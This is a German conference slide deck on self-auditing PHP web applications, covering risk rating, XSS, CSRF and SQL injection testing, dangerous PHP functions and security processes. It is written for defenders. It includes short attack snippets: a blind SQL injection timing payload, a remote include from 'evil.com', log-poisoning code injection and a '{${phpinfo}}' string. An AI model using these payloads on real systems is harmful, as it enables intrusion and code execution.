SELF AUDITING PHP APPS      Travian Offsite 2011
ANTEIL ANGREIFBARER                  WEBSITES 2010         Information Leakage                                       64 % ...
I analyzed your security issues   and i came to the result:             YOU              IS             DUMB
I analyzed your security issues    and came to the result:            YOU          IS STILL            DUMB
Wir haben einen systematischen Fehler.
Wie gehe ich vor?
Risikobewertung
Einfach denDREADfragen!
Damage PotentialReproducabilityExploitablitityAffected UsersDiscoverability
„MD5 mit globalen Salt alsPasswort-Hash in der Datenbank?“Damage Potential - hochReproducability - niedrigExploitablitity ...
„XSS in einem Online-Spiel?“Damage Potential - mittelReproducability - hochExploitablitity - mittelAffected Users - niedri...
„SQL-Injection in der Payment-              Lösung?“Damage Potential - hochReproducability - hochExploitablitity - hochAff...
Ok, wir suchen also nach High-Risk-Issues, aber wie?
Black Box Testing   White Box Testing
Black Box Testing
INFORMATIONEN SAMMELN
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de   inurl:&
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de   inurl:&• Spidering Tools: wget     :-)...
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de   inurl:&• Spidering Tools: wget     :-)...
PARAMETER MANIPULATION
PARAMETER MANIPULATION
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname   vom Client
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname    vom Client• Bei   Default-Dom...
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname    vom Client• Bei   Default-Dom...
Tools:  OWasp WebScarabOWasp Zed Attack Proxy Portswigger BurpSuite  Firefox Tamper Data
XSS   SQL-INJECTIONSBLIND SQL-INJECTIONS        CSRF
BORING ahead
BORING!XSS PENTEST
BORING!                XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document...
BORING!                   XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder docum...
BORING!                    XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder docu...
BORING!XSS PENTEST
BORING!                 XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden u...
BORING!                 XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden u...
BORING!                 XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden u...
BORING!CSRF PENTESTING
BORING!              CSRF PENTESTING• Prüfung: Existiert   ein Tokenschutz?
BORING!               CSRF PENTESTING• Prüfung: Existiert   ein Tokenschutz?• Falls   ja
BORING!               CSRF PENTESTING• Prüfung: Existiert   ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehbar?
BORING!                  CSRF PENTESTING• Prüfung: Existiert    ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehb...
BORING!                  CSRF PENTESTING• Prüfung: Existiert    ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehb...
BORING!                  CSRF PENTESTING• Prüfung: Existiert    ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehb...
BORING!(3 slides to go)
BORING!SQL INJECTION PENTESTING
BORING! SQL INJECTION PENTESTING• Parametermanipulation
BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test   mit Escape-Parametern und Sonderzeichen
BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test   mit Escape-Parametern und Sonderzeichen • Lassen   sich F...
BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test   mit Escape-Parametern und Sonderzeichen • Lassen   sich F...
BORING!SQL INJECTION PENTESTING
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped?
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
AUTHENTIFIZIERUNG• Registration: Fehlermeldung    bei existierenden Loginnamen?• Gibt   es eine Brute-Force-Detection für ...
Auf die Weise war bei Wewaiiin ca 5 Min ein XSS zu finden.
White Box Testing
TOOLS• „grep“• IDE   mit • syntax     highlightening • guter      Code-Navigation• Dynamische      Code Analyse: Debugger ...
„Sources“• Quellen, deren   Daten man manipulieren kann• Siehe     Parameter Manipulation ($_REQUEST, $_POST, $_GET, $_COO...
„Sinks“• Nur    bestimmte Funktionen können zu Exploits führen• JedeExploitklasse hat ein eigenes Set an Funktionen zB: SQ...
SQL INJECTIONS• Funktionen: mysql_query, mysqli_query, pdo::query, ...• Deine    Datenbankabstraktion• Was   zu prüfen wär...
CODE EXECUTIONS• Funktionen:  • eval(), create_function(), preg_replace   mit modifier e,   usort, uasort, *_callback funct...
CODE INCLUSIONS• Funktionen    (include|require)[_once]• Lokal: include “/var/log/http/access.log“                        ...
SHELL EXECUTIONS• Funktionen: shell_exec (BackTicks!), exec(), system(), popen(), passthru()• mail()!• Executable         ...
INFORMATION LEAKAGE• Funktionen: fopen(), fread(), file(), debug_backtrace()...• Vulnerabilities:  • lokale   Dateien mit s...
XSS: Escaping prüfen• Überall   wo Daten für den Nutzer aufbereitet werden•5   Kontexte in HTML -> 5 verschiedene Escaping...
Tools für statische Codeanalyse• RIPS: http://websec.wordpress.com/tools/ • XSS, SQLi, Disclosure, ...(Nicht    PHP5-Kompa...
ORGANISATION
SECURITY  PUSH
SECURITY  PUSH
Einmalaktion:        Security Guidelines Bug Barrier         Developer-Knowhow  Initiales Audit
AGILESECURITY
EVIL USER STORIES  Als Hacker füge ich“<script>“ in alle URL-Parameter ein, um einen   XSS zu erzeugen.
Security Spikes            Security ReviewsDeveloper Audits Security Retrospectives
Security Achievement:       unlocked
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Nächste SlideShare
Wird geladen in …5
×

Self auditing php-code

1.061 Aufrufe

Veröffentlicht am

  • Als Erste(r) kommentieren

Self auditing php-code

  1. 1. SELF AUDITING PHP APPS Travian Offsite 2011
  2. 2. ANTEIL ANGREIFBARER WEBSITES 2010 Information Leakage 64 % Cross-Site-Scripting 64 % Content Spoofing 43 % Cross Site Request Forgery 24 % Brute Force 17 % Insufficient Authorization 15 %Predictable Resource Location 14 % SQL Injection 14 % Session Fixation 14 % Abuse of Functionality 10 % 0% 18% 35% 53% 70% (c) 2010 Whitehat Security
  3. 3. I analyzed your security issues and i came to the result: YOU IS DUMB
  4. 4. I analyzed your security issues and came to the result: YOU IS STILL DUMB
  5. 5. Wir haben einen systematischen Fehler.
  6. 6. Wie gehe ich vor?
  7. 7. Risikobewertung
  8. 8. Einfach denDREADfragen!
  9. 9. Damage PotentialReproducabilityExploitablitityAffected UsersDiscoverability
  10. 10. „MD5 mit globalen Salt alsPasswort-Hash in der Datenbank?“Damage Potential - hochReproducability - niedrigExploitablitity - niedrigAffected Users - niedrigDiscoverability - niedrigGesamtrisiko - niedrig
  11. 11. „XSS in einem Online-Spiel?“Damage Potential - mittelReproducability - hochExploitablitity - mittelAffected Users - niedrigDiscoverability - hochGesamtrisiko - mittel
  12. 12. „SQL-Injection in der Payment- Lösung?“Damage Potential - hochReproducability - hochExploitablitity - hochAffected Users - mittelDiscoverability - mittelGesamtrisiko - hoch
  13. 13. Ok, wir suchen also nach High-Risk-Issues, aber wie?
  14. 14. Black Box Testing White Box Testing
  15. 15. Black Box Testing
  16. 16. INFORMATIONEN SAMMELN
  17. 17. • Search Engines: robots.txt, sitemap.xml, site:travianer.de
  18. 18. • Search Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de inurl:&
  19. 19. • Search Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de inurl:&• Spidering Tools: wget :-), WebScarab, Burp Suite
  20. 20. • Search Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de inurl:&• Spidering Tools: wget :-), WebScarab, Burp Suite• 404-Seiten und Default-Urls (/admin/, /config, /scripts)
  21. 21. PARAMETER MANIPULATION
  22. 22. PARAMETER MANIPULATION
  23. 23. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies
  24. 24. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent
  25. 25. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname vom Client
  26. 26. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname vom Client• Bei Default-Domain: HTTP Host-Header
  27. 27. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname vom Client• Bei Default-Domain: HTTP Host-Header• Accept-Header: Language, Encoding
  28. 28. Tools: OWasp WebScarabOWasp Zed Attack Proxy Portswigger BurpSuite Firefox Tamper Data
  29. 29. XSS SQL-INJECTIONSBLIND SQL-INJECTIONS CSRF
  30. 30. BORING ahead
  31. 31. BORING!XSS PENTEST
  32. 32. BORING! XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?
  33. 33. BORING! XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?• Wird die Seite mit diesem String manipuliert?
  34. 34. BORING! XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?• Wird die Seite mit diesem String manipuliert?• Typisches Beispiel: Frames und Iframes
  35. 35. BORING!XSS PENTEST
  36. 36. BORING! XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt
  37. 37. BORING! XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt• Anhand des Auftrittsortes eine passende XSS-Payload konstruieren
  38. 38. BORING! XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt• Anhand des Auftrittsortes eine passende XSS-Payload konstruieren• Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden
  39. 39. BORING!CSRF PENTESTING
  40. 40. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?
  41. 41. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja
  42. 42. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar?
  43. 43. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?
  44. 44. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?• Falls nein
  45. 45. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?• Falls nein • existiert ein Referer-Check?
  46. 46. BORING!(3 slides to go)
  47. 47. BORING!SQL INJECTION PENTESTING
  48. 48. BORING! SQL INJECTION PENTESTING• Parametermanipulation
  49. 49. BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen
  50. 50. BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen • Lassen sich Fehlermeldungen provozieren?
  51. 51. BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen • Lassen sich Fehlermeldungen provozieren? • Ändert sich etwas an den dargestellten Werten?
  52. 52. BORING!SQL INJECTION PENTESTING
  53. 53. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query
  54. 54. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped?
  55. 55. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler
  56. 56. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch
  57. 57. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch • Klammern-Tests
  58. 58. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch • Klammern-Tests • Feldzahl und -namen Erkennung mit Union
  59. 59. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION
  60. 60. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis
  61. 61. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren
  62. 62. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren• index.jsp?field=name&direction=ASC
  63. 63. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren• index.jsp?field=name&direction=ASC• ..direction=,Benchmark(1...0, md5(1)) ASC
  64. 64. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren• index.jsp?field=name&direction=ASC• ..direction=,Benchmark(1...0, md5(1)) ASC• Kann zur Passwortenumeration genutzt werden
  65. 65. AUTHENTIFIZIERUNG• Registration: Fehlermeldung bei existierenden Loginnamen?• Gibt es eine Brute-Force-Detection für Logins?• Dictionary-Attacke• (Auch nützlich für Identy Theft :-) )
  66. 66. Auf die Weise war bei Wewaiiin ca 5 Min ein XSS zu finden.
  67. 67. White Box Testing
  68. 68. TOOLS• „grep“• IDE mit • syntax highlightening • guter Code-Navigation• Dynamische Code Analyse: Debugger mit • Step Thru • Variablenintrospektion, Breakpoints
  69. 69. „Sources“• Quellen, deren Daten man manipulieren kann• Siehe Parameter Manipulation ($_REQUEST, $_POST, $_GET, $_COOKIE, $_SERVER, $_FILES, $_ENV, $GLOBALS...)• ->getParams(), ->getParam(), ->getModuleName() ...• Externe Services & eingebundene Quellen• ausgelesene Daten (GIF-Kommentare, CSV-Daten)
  70. 70. „Sinks“• Nur bestimmte Funktionen können zu Exploits führen• JedeExploitklasse hat ein eigenes Set an Funktionen zB: SQL Injections, Code Executions• Fazit: Jede Verwendung dieser Funktionen prüfen
  71. 71. SQL INJECTIONS• Funktionen: mysql_query, mysqli_query, pdo::query, ...• Deine Datenbankabstraktion• Was zu prüfen wäre: • sind die Werte korrekt escaped? • Auch Zahlen, Sortierkriterien und -richtungen? • Datenbank-, Tabellen- und Spaltennamen auch?
  72. 72. CODE EXECUTIONS• Funktionen: • eval(), create_function(), preg_replace mit modifier e, usort, uasort, *_callback functions• Gespeicherter und includierter Code: • Templates in Smarty • Cache-Daten• “-Strings können PHP-Code ausführen! “{${phpinfo}}“
  73. 73. CODE INCLUSIONS• Funktionen (include|require)[_once]• Lokal: include “/var/log/http/access.log“ mit user-agent / referer <?php ... ?>, aktueller mail()-from-Exploit• Remote: include “http://evil.com/hack.gif“• Other: “ftp://..“, “php://input...“, “data://...“• allow_url_fopen hilft nicht bei data und php!
  74. 74. SHELL EXECUTIONS• Funktionen: shell_exec (BackTicks!), exec(), system(), popen(), passthru()• mail()!• Executable und Parameter müssen bereinigt werden - escape_shell_args hilft nur bei “• Benutzung von escape_shell_cmd und escape_shell_args prüfen
  75. 75. INFORMATION LEAKAGE• Funktionen: fopen(), fread(), file(), debug_backtrace()...• Vulnerabilities: • lokale Dateien mit sensiblen Daten • bei allow_url_fopen Intranet/DMZ auslesen • lokale Konfigurationsdateien • zu verbose Fehlermeldungen
  76. 76. XSS: Escaping prüfen• Überall wo Daten für den Nutzer aufbereitet werden•5 Kontexte in HTML -> 5 verschiedene Escapings • Text: htmlentities() • Attributes: htmlspecialchars() • URLs: urlencode() • JavaScript- und Stylesheet-Strings: addcslashes() • HTML: Whitelist-Filters wie htmlpurifier
  77. 77. Tools für statische Codeanalyse• RIPS: http://websec.wordpress.com/tools/ • XSS, SQLi, Disclosure, ...(Nicht PHP5-Kompatibel)• Armorize CodeSecure http://www.armorize.com/ (ok und teuer)• HyperSource, Fortify (nur teuer)• Kein Ersatz für manuelle Audits
  78. 78. ORGANISATION
  79. 79. SECURITY PUSH
  80. 80. SECURITY PUSH
  81. 81. Einmalaktion: Security Guidelines Bug Barrier Developer-Knowhow Initiales Audit
  82. 82. AGILESECURITY
  83. 83. EVIL USER STORIES Als Hacker füge ich“<script>“ in alle URL-Parameter ein, um einen XSS zu erzeugen.
  84. 84. Security Spikes Security ReviewsDeveloper Audits Security Retrospectives
  85. 85. Security Achievement: unlocked

×